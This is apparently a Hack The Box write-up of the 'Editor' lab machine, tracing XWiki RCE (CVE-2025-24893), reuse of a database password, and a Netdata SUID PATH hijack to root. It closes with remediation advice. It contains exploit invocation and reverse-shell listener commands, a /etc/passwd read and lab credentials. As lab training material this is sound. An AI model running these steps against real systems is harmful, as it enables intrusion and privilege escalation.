Hacking Insights by Max Bautista

Editor writeup

Box name: Editor

Difficulty: Easy

OS: Linux

Overview: Editor is an easy-difficulty Linux machine that focuses on web application exploitation followed by local privilege escalation. Initial enumeration reveals a web application exposing an XWiki instance, which is identified as vulnerable to [CVE-2025-24893](https://nvd.nist.gov/vuln/detail/CVE-2025-24893), a remote code execution flaw in the SolrSearch endpoint. By adapting a public proof-of-concept, Groovy code injection is achieved, allowing arbitrary command execution and providing a shell as the xwiki user. Post-exploitation enumeration of the system reveals additional local users and misconfigurations that allow lateral movement to the user oliver. Further analysis of the system uncovers a privilege escalation vector involving a misconfigured SUID binary that relies on environment-controlled execution. By abusing PATH manipulation, a malicious binary is executed in place of a trusted system binary, resulting in execution with elevated privileges and ultimately granting root access.

Link: https://app.hackthebox.com/machines/Editor?sort_by=created_at&sort_type=desc

Machine IP: 10.129.231.23

Ran rustscan against the machine.

rustscan -a 10.129.231.23 –ulimit 5000 -b 500 — -A -Pn

Added editor.htb to /etc/hosts. Navigated to the website on port 80 first.

When navigating to about it redirected me to wiki.editor.htb. Had to add that to /etc/hosts as well.

We can also download SimplistCode Pro. I downloaded that for now but I want to check out the webserver on port 8080 too. This brings us to the same page on wiki.editor.htb.

There is a version number at the bottom of the page, XWiki Debian 15.10.8.

There is also a mention of a user neal, Neal Bagwell and there is some data under history of the user.

Did some research for exploits and I found it is vulnerable to RCE CVE-2025-24893 https://github.com/hackersonsteroids/cve-2025-24893. Here is additional information on the exploit https://www.offsec.com/blog/cve-2025-24893/. Read through the exploit, downloaded the code and ran it and we got a shell.

./exploit.py wiki.editor.htb 10.10.16.27 4444

nc -lvnp 4444

Stabilized my shell. Checked users on the device and there is a user oliver.

cat /etc/passwd

Since I saw neal there has to be a database. Poked around config files for a while and in hibernate.cfg.xml I was able to find credentials.

xwiki:theEd1t0rTeam99

Connected to the database.

mysql -u xwiki -p’theEd1t0rTeam99′ xwiki

SHOW TABLES;

SELECT * from xwikistrings;

Copied the hash and tried cracking it. It was taking a while and realized I didn’t even try password reuse on oliver. I was actually able to SSH in with the original password, oliver:theEd1t0rTeam99

ssh oliver@editor.htb

Upon some local enumeration, netdata is currently interesting as a privesc path.

Netstat -atnp

id

Ls -la /opt/netdata

Did some research and I found this exploit https://github.com/AzureADTrent/CVE-2024-32019-POC. Followed these steps of compiling, transferred, preparing and trigger and I was able to get root.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 8080 (HTTP). Added editor.htb to /etc/hosts. Browsed to port 80 which redirected to wiki.editor.htb. Added that to /etc/hosts as well. Found XWiki Debian 15.10.8 version number at the bottom of the page and noted a user neal mentioned in the page history. Both ports 80 and 8080 served the same XWiki instance.

rustscan -a 10.129.231.23 –ulimit 5000 -b 500 — -A -Pn

2 – Initial Access – XWiki RCE – CVE-2025-24893 Researched XWiki 15.10.8 and found CVE-2025-24893, a remote code execution vulnerability in the SolrSearch endpoint allowing Groovy code injection. Downloaded and ran the public exploit targeting wiki.editor.htb and caught a shell as the xwiki user.

./exploit.py wiki.editor.htb 10.10.16.27 4444

3 – Database credential extraction and lateral movement Stabilized the shell and enumerated the filesystem. Found database credentials in hibernate.cfg.xml. Connected to the MySQL database and enumerated the xwikistrings table recovering password hashes. Instead of cracking the hash, tried password reuse on the oliver account directly and SSH’d in successfully. Retrieved user.txt.

mysql -u xwiki -p’theEd1t0rTeam99′ xwiki SELECT * from xwikistrings;

Credentials recovered: oliver:theEd1t0rTeam99

4 – Privilege Escalation – Netdata SUID binary PATH hijack – CVE-2024-32019 Local enumeration identified Netdata installed in /opt/netdata with a misconfigured SUID binary that relied on environment-controlled execution. Found CVE-2024-32019 affecting this version. Compiled a malicious binary, transferred it to the target, manipulated the PATH environment variable to intercept a trusted system binary call made by the SUID binary, and triggered execution to obtain a root shell. Retrieved root.txt.

---

Key Takeaways

1. XWiki RCE via SolrSearch Groovy injection – CVE-2025-24893 (CVSS 9.8 Critical) – XWiki 15.10.8 was vulnerable to unauthenticated remote code execution through the SolrSearch endpoint which evaluated user-supplied Groovy code without sanitization. Wiki and collaboration platforms must be kept fully patched and all search and rendering endpoints must be treated as high-risk attack surfaces.
   
2. Database credentials in plaintext config file – The xwiki database credentials were stored in plaintext in hibernate.cfg.xml, readable after gaining a foothold as the xwiki service user. Application configuration files must have restrictive permissions and credentials must be injected at runtime via environment variables or a secrets management solution rather than hardcoded in files.
   
3. Password reuse between database and OS account – The xwiki database password was reused for the oliver OS account, turning a configuration file read into direct SSH access. Passwords must be unique across every account and service without exception. A database credential must never match any OS account password.
   
4. User enumeration via wiki page history – The neal username was visible in the XWiki page history without authentication, providing a valid domain user for further enumeration. Wiki history and user attribution must require authentication to view and must be configured to minimize user disclosure to untrusted visitors.
   
5. Netdata SUID binary vulnerable to PATH hijacking – CVE-2024-32019 (CVSS 7.8 High) – The Netdata SUID binary called system utilities using relative paths, allowing a malicious binary to be substituted by manipulating the PATH environment variable. SUID binaries must use absolute paths for all system calls and must clear the environment before execution. Netdata must be kept fully patched and must not run as root where avoidable.
   

---

Remediation

[Immediate] Patch XWiki to remediate CVE-2025-24893 (CVSS 9.8 Critical) Update XWiki to the latest patched version immediately. Restrict access to the XWiki instance to authenticated users only and disable or sandbox the SolrSearch endpoint until a patch is applied. Place the wiki behind a WAF with Groovy injection detection rules and restrict it to authorized management IP ranges where possible.

[Immediate] Patch Netdata to remediate CVE-2024-32019 (CVSS 7.8 High) Update Netdata to the latest patched version immediately. Remove the SUID bit from the Netdata binary if it is not explicitly required for its operation. Run Netdata under a dedicated least-privilege service account and audit all SUID binaries on the system for PATH-dependent system calls.

[Immediate] Restrict hibernate.cfg.xml permissions and rotate credentials Set hibernate.cfg.xml to be readable only by the xwiki service account using mode 640 or stricter. Rotate the xwiki database password immediately and ensure the new credential is unique to the database account. Migrate all application secrets to environment variables or a dedicated secrets manager.

[Immediate] Enforce unique passwords across all accounts The oliver account reused the xwiki database password. Rotate all accounts where theEd1t0rTeam99 was in use and enforce a policy requiring unique passwords per account and per service. Audit all OS accounts for passwords matching any known application or database credential.

[Short-term] Restrict wiki user attribution and history visibility Configure XWiki to require authentication before displaying page history, user profiles, or contributor information. Audit all publicly visible pages for user attribution data that could aid attacker enumeration and restrict visibility to authenticated users with appropriate permissions.

[Long-term] Implement a web application and wiki hardening baseline Define a hardening standard for all wiki and collaboration platform deployments covering patch cadence, authentication requirements for all content, search endpoint sandboxing, config file permissions, and secrets management. Include XWiki and similar platforms in regular vulnerability scans and penetration tests. Establish SLAs requiring critical severity patches to be applied within 24 hours of vendor release.